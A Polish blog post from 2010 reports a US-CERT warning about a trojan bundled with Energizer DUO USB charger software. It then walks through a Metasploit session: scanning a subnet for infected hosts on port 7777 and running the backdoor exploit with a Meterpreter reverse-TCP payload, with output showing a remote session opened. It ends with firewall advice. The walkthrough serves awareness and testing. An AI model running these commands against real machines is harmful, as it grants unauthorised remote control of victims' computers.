08 marca 2010

Trojan w oprogramowaniu do ładowarki Energizer

Na spotkanie ze złośliwym oprogramowaniem jesteśmy narażeni nie tylko w trakcie surfowania po rosyjskich stronach pornograficznych lub podczas otwierania załącznika przesłanego nam z nietypowego adresu mailowego. Otóż złośliwy kod może się znaleźć dosłownie wszędzie. Skutecznie przypomniała nam dziś o tym firma Energizer, dołączając do swej ładowarki USB zainfekowane trojanem oprogramowanie dla systemów Windows...

Zgodnie z ostrzeżeniem opublikowanym przez US-CERT, oprogramowanie dołączane do ładowarki Energizer DUO USB NiMH zawiera trojana zdolnego do zainfekowania systemów operacyjnych z rodziny Windows. Kopię programu stworzonego z myślą o wizualizowaniu stanu ładowania baterii zachowałem dla wszystkich zainteresowanych pod tym adresem. Tutaj natomiast można się zapoznać z wynikiem skanowania w serwisie Virustotal. Jak widać, na chwilę obecną zaledwie 2 z 42 popularnych silników antywirusowych oznacza instalator programu jako zainfekowany!

Trojan jest stosunkowo groźny, gdyż po zagnieżdżeniu się w systemie Windows, pozwala potencjalnemu intruzowi na przejęcie zdalnej kontroli nad zainfekowanym systemem za pośrednictwem listenera nasłuchującego na porcie 7777. Poza tym, w skład środowiska Metasploit Framework weszły już moduły pozwalające na odnalezienie zainfekowanych systemów oraz przejęcie nad nimi kontroli. Zobaczmy więc jak wygląda przykładowy test penetracyjny. Osoby nieobeznane z testami penetracyjnymi oraz podstawami pracy ze środowiskiem Metasploit, zachęcam najpierw do przestudiowania wpisu Metasploit Framework: przykładowy test penetracyjny w praktyce.

W celu odnalezienia zainfekowanych maszyn należy wykonać następujące polecenia z poziomu interfejsu msfconsole (po uprzednim zaktualizowaniu środowiska za pomocą polecenia svn update):
  • msf > use auxiliary/scanner/backdoor/energizer_duo_detect (wejście w tryb konfiguracji modułu skanera)
  • msf auxiliary(energizer_duo_detect) > set RHOSTS 192.168.0.0/24 (ustawienie zakresu skanowanych adresów)
  • msf auxiliary(energizer_duo_detect) > set THREADS 256 (ustawienie liczby współbieżnych wątków skanowania)
  • msf auxiliary(energizer_duo_detect) > run (uruchomienie skanowania)
Przykładowy wynik skanowania:
[*] 192.168.0.132:7777 FOUND: [["F", "AUTOEXEC.BAT"]...
Jak widzimy, trojan nasłuchuje na maszynie o adresie 192.168.0.132. Pozostaje nam więc już tylko wykonać właściwy test penetracyjny:
  • msf > use exploit/windows/backdoor/energizer_duo_payload (wejście w tryb konfiguracji modułu exploitu)
  • msf exploit(energizer_duo_payload) > set RHOST 192.168.0.132 (ustawienie adresu ofiary)
  • msf exploit(energizer_duo_payload) > set PAYLOAD windows/meterpreter/reverse_tcp (wybór payloadu)
  • msf exploit(energizer_duo_payload) > set LHOST 192.168.0.228 (określenie naszego lokalnego adresu, z którym payload ma nawiązać połączenie zwrotne)
  • msf exploit(energizer_duo_payload) > exploit (uruchomienie exploitu)
W wyniku otrzymujemy:
[*] Started reverse handler on 192.168.0.228:4444  [*] Trying to upload C:\NTL0ZTL4DhVL.exe...
[*] Trying to execute C:\NTL0ZTL4DhVL.exe...
[*] Sending stage (747008 bytes)
[*] Meterpreter session 1 opened (192.168.0.228:4444 -> 192.168.0.132:1200)
Sesja Meterpretera została nawiązana, przejęliśmy więc kontrolę nad docelowym systemem.

Wnioski? Każdy użytkownik komputera jest niemal na każdym kroku narażony na spotkanie ze złośliwym oprogramowaniem. Malware może być wszędzie, nawet w oprogramowaniu dostarczanym oficjalnie przez znaną wszystkim firmę. Jak pokazałem, wspomniany trojan nawet w chwili obecnej nie jest zbyt powszechnie rozpoznawany przez oprogramowanie antywirusowe. Jednak zastosowanie lokalnego lub centralnego sieciowego firewalla powinno uniemożliwić skuteczny atak. Stuprocentowa metoda na zabezpieczenie się przed tego typu incydentami? Nie istnieje...